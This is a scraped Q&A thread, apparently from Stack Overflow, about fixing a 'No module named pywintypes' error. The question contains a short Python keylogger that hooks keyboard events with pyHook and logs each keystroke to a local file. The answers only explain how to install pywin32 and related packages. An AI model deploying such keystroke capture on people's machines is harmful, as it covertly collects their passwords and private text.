问题
I am working to make a small keylogger with Python, by using the pyHook, pythoncom and Pywin32 modules. Here is my code:
import pyHook, pythoncom, sys, logging
file_log = 'C:\\important\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(Event.Ascii))
return True
hooks_manager=pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
When it runs, it returns this error message:
File "C:\Python27\lib\site-packages\pythoncom.py", line 2, in <module>
import pywintypes
ImportError: No module named pywintypes
How do I fix this error?
回答1:
pywintypes is part of the Python for Windows extensions, otherwise known as pywin32. You'll need to install that to get access to pywintypes.
Note that as of this writing, pywin32's maintainer doesn't upload files to PyPI, so you have to get an appropriate version of installer from http://pywin32.sf.net.
回答2:
pip install pypiwin32 worked for me
回答3:
Just add pythoncom34.dll and pywintypes34.dll to your C:\Python34\
回答4:
I know my answer is bit late but just run to this problem. Both pywin32 and pypiwin32 is installed on my virtualenv, my app is working fine during test. When I run pyinstaller to build my exe, this error showed up.
Solution: I needed to install (through pip) pywin32 and pypiwin32 on my base python env ( not the virtualenv) for pyinstaller to build my exe.
来源:https://stackoverflow.com/questions/18907889/importerror-no-module-named-pywintypes